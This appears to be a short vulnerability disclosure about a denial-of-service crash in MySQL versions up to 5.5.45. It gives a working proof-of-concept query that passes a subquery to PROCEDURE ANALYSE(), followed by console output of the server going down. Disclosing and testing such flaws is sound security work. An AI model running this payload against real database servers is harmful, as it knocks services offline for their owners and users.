This is a crash I found in MySQL versions up to 5.5.45. In the function procedure analyse() I found this crash while passing a sub query.
Syntax:
[code language=”sql”]
SELECT * FROM `table_name` PROCEDURE ANALYSE((SELECT*FROM(SELECT 1)x),1);
[/code]
So an Example POC would be:
[code language=”sql”]
select * from information_schema.tables procedure analyse((select*from(select 1)x),1);
[/code]
[code language=”sql”]
—————————————————————————————————————
mysql> select * from information_schema.tables procedure analyse((select*from(select 1)x),1);
ERROR 2013 (HY000): Lost connection to MySQL server during query
mysql>
mysql> select 1;
ERROR 2006 (HY000): MySQL server has gone away
No connection. Trying to reconnect…
ERROR 2003 (HY000): Can’t connect to MySQL server on ‘localhost’ (10061)
ERROR:
Can’t connect to the server
mysql>
—————————————————————————————————————
[/code]